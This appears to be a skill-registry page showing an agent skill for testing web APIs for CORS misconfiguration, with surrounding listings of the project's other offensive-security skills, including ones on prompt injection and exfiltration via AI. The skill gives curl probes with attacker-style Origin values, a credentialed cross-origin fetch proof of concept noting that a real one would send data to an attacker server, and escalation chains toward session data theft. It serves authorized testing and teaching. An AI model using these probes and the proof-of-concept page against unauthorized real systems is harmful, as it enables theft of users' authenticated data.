cors
Skill1 starsChanged 12 days agoMITView on GitHub
Hunt for CORS misconfiguration: origin reflection with credentials, null-origin acceptance, and overly broad subdomain wildcard trust. Use when evaluating any API that sets Access-Control-Allow-Origin, especially endpoints returning sensitive/authenticated data consumed cross-origin. Keywords: cors, cross-origin resource sharing, access-control-allow-origin, origin reflection, null origin, credentialed request, subdomain takeover CORS trust, access-control-allow-credentials. Do NOT use for CSRF (CORS misconfig is a read-primitive, CSRF is a write-forgery primitive — they're related but distinct; cross-reference csrf when a CORS gap also enables state-changing cross-origin writes). Do NOT use for generic missing-security-header findings unrelated to CORS — use info-disclosure.
2 other projects use a version of this.
Adopted by
Most recently taken up by
- emre-guler/websectheir own version, first seen Aug 27, 2026
- langbyyi/websec-skillstheir own version, first seen Jun 12, 2026
Other versions2 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 2
- langbyyi/websec-skills★ 4same name
- emre-guler/websec★ 2same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository124 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- email-securitySkill
- engagement-flowSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- 2fa-bypassSkill
- api-abuseSkill
- auth-bypassSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- clickjackingSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- grpcSkill
- host-headerSkill
- http-smugglingSkill
- idorSkill
- info-disclosureSkill
- jwtSkill
- lateral-movementSkill
- lfi-rfiSkill
- mass-assignmentSkill
- oauthSkill
- open-redirectSkill
- parameter-pollutionSkill
- password-resetSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
3 rules. About 0 are common, 1 is distinctive, and 2 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈1
Distinctive · estimate
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 71
If this exact arbitrary string comes back in Access-Control-Allow-Origin, it's unconditional reflection — the strongest form of this bug.
- Very specific: line 116
Check if Access-Control-Allow-Methods/-Allow-Headers permit state-changing methods from an arbitrary origin — this crosses into …
- Distinctive: line 178
Before declaring this finding complete, probe these escalation paths:
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- API responses containing
Access-Control-Allow-Originthat mirrors the request'sOriginheader value exactly (origin reflection) rather than a fixed allowlisted value. Access-Control-Allow-Credentials: truepresent alongside any form of broad/reflected origin trust — this combination is what actually makes CORS misconfig exploitable for data theft (without credentials, cross-origin read access is far less impactful for session-bound data).- Endpoints returning authenticated/sensitive JSON that would be worth stealing cross-origin (user profile, account data, API tokens, internal config).
- Wildcard subdomain trust (
*.target.comeffectively trusted) combined with any subdomain takeover risk or a subdomain hosting user-generated/attacker-reachable content (dev/staging subdomains, old marketing pages).
Prerequisites
- An endpoint that returns sensitive data and sets CORS headers at all (if no
Access-Control-Allow-Originheader is ever present, the browser's same-origin policy already blocks cross-origin JS reads by default — confirm the header is actually present before investing further). - A valid authenticated session/cookie for the credentialed-request test.
- Ability to host a simple PoC page cross-origin (local file or your own domain) to prove actual browser-enforced impact, not just header inspection via curl.
Methodology
- Baseline header inspection — send requests with varying
Originheaders and observe howAccess-Control-Allow-Origin/-Allow-Credentialsrespond:
Look specifically for:curl -s -I https://target/api/profile -H "Origin: https://evil.test" curl -s -I https://target/api/profile -H "Origin: null" curl -s -I https://target/api/profile -H "Origin: https://target.com.evil.test" curl -s -I https://target/api/profile -H "Origin: https://sub.target.com"Access-Control-Allow-Origin: https://evil.test <- reflects ANY origin = high risk Access-Control-Allow-Origin: null <- trusts null origin = high risk Access-Control-Allow-Credentials: true <- combined with either above = exploitable - Confirm reflection is unconditional (not just matching an actual allowlisted partner
domain) by trying a clearly unrelated, attacker-controlled-style origin:
If this exact arbitrary string comes back incurl -s -I https://target/api/profile -H "Origin: https://attacker-controlled-poc.test"Access-Control-Allow-Origin, it's unconditional reflection — the strongest form of this bug. - Null-origin test — relevant because
Origin: nullis sent by browsers in several contexts attackers can trigger (sandboxed iframes,file://pages, some redirect chains):curl -s -I https://target/api/profile -H "Origin: null" - Subdomain-wildcard trust test — check if the allowlist logic is a loose regex/substring
match rather than exact domain matching:
A match oncurl -s -I https://target/api/profile -H "Origin: https://notarget.com" curl -s -I https://target/api/profile -H "Origin: https://target.com.attacker.test" curl -s -I https://target/api/profile -H "Origin: https://eviltarget.com" curl -s -I https://target/api/profile -H "Origin: https://xtarget.com"target.com.attacker.testoreviltarget.comreveals a broken regex (e.g./target\.com$/without anchoring, or a naive.includes("target.com")check). - Browser-based PoC to prove actual impact (headers alone are a strong signal but the
finding's proof bar is the real cross-origin read):
Host this cross-origin (or open as a<!-- cors_poc.html --> <script> fetch("https://target/api/profile", { credentials: "include" }) .then(r => r.text()) .then(data => { document.body.innerText = data; // in a real PoC this would exfil to an attacker server instead of displaying }); </script>file://page, which sendsOrigin: null) in a browser where you're also logged into target and confirm the sensitive response body actually renders — this is what separates a real finding from a header-only observation. - Preflight (
OPTIONS) behavior check for non-simple requests (custom headers, non-GET/ POST methods):
Check ifcurl -s -X OPTIONS https://target/api/admin/users \ -H "Origin: https://evil.test" \ -H "Access-Control-Request-Method: DELETE" \ -H "Access-Control-Request-Headers: Authorization" -iAccess-Control-Allow-Methods/-Allow-Headerspermit state-changing methods from an arbitrary origin — this crosses into CSRF-adjacent impact (see Chains below).
Tooling
curl -Iwith variedOriginheaders — the entire manual methodology above, no special tooling required for detection.- Burp Suite — repeat the same header variations via Repeater; use the CORS-specific passive scan checks if the Pro scanner is in use (triage only, confirm manually).
- A minimal local HTML file opened in a real browser — required for the actual impact PoC, since curl doesn't enforce/exhibit the same-origin policy a victim's browser would.
Root Causes
- CORS middleware configured to reflect the request's
Originheader verbatim instead of checking it against a fixed allowlist (cors({origin: true})in Express, or equivalent patterns in other frameworks, often added to "just make CORS errors go away" during development and left in production). - Null-origin explicitly allowlisted to support legitimate
file:///sandboxed-iframe use cases, without recognizing it's also attacker-triggerable. - Domain-matching logic using substring/regex checks instead of exact-match or a well-anchored regex against the full allowed domain list.
Access-Control-Allow-Credentials: trueset globally without re-examining whether the origin policy next to it is actually restrictive enough to pair with credential exposure.
Validation Gate (minimum proof)
- A browser-executed cross-origin
fetch/XHRwithcredentials: 'include'from a page NOT on the target's origin successfully retrieves authenticated, sensitive response data — captured as a screenshot or saved response showing real account data, not a generic/public endpoint. - The specific
Originvalue tested and the exactAccess-Control-Allow-Origin/-Allow-Credentialsresponse headers, documented together — the combination is what constitutes the finding, not either header alone.
Gotchas
- Minimum proof, not a stolen-data archive. Confirm the read works against your own test account's data; don't use the primitive to systematically pull other users' data even though the bug would allow it.
- Common N/A:
Access-Control-Allow-Originreflects the origin butAccess-Control-Allow-Credentialsis absent orfalse— for endpoints returning data behind cookie-based auth, this is a much weaker finding (no-credentials cross-origin reads only expose data the endpoint would serve unauthenticated anyway) — downgrade severity accordingly, don't report it at the same severity as the credentialed case. - Common N/A: the endpoint being tested returns only public, non-sensitive data regardless of origin — a permissive CORS policy on a genuinely public API is by design, not a finding.
- Overclaim trap: observing origin reflection via
curlalone, without the browser-executed PoC, is a strong indicator but should be labeled Inferred, not Demonstrated, until the actual cross-origin fetch is shown succeeding in a real browser context. - Overclaim trap: a wildcard
Access-Control-Allow-Origin: *is only exploitable for credentialed requests if credentials are also allowed — browsers actually rejectAllow-Credentials: truepaired with a literal*origin value per spec, so true*+ credentials isn't achievable; that combination response is actually CORS failing safe, not a finding (the risk case is reflected origin + credentials, not literal wildcard + credentials). - Some frameworks apply CORS headers only on the actual response but not consistently on error responses (4xx/5xx) — test both success and error paths if the sensitive data could leak via an error body too.
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Authenticated data exfiltration — Can you exfiltrate authenticated, session-bound data, not just already-public data?
- Reflected origin + credentials — Does the server reflect an arbitrary Origin AND set Access-Control-Allow-Credentials: true? That combination is the actual vulnerability.
- Trusted subdomain XSS chain — Is there an XSS on a subdomain the CORS policy trusts, that can be chained to exploit this origin?
- WebSocket bypass path — Is there a WebSocket endpoint that skips CORS checks entirely, bypassing an HTTP-layer fix?
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- CORS misconfig + credentials → direct session/data theft, feeds
session-hijack/chain-analysis. - CORS misconfig allowing credentialed reads of a CSRF-token-bearing page → defeats csrf token protections by letting the attacker read the token cross-origin before forging the write request.
- CORS misconfig on an endpoint also reachable via stored xss compounds severity (two independent paths to the same data theft) — note both but don't double-count as a single finding.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

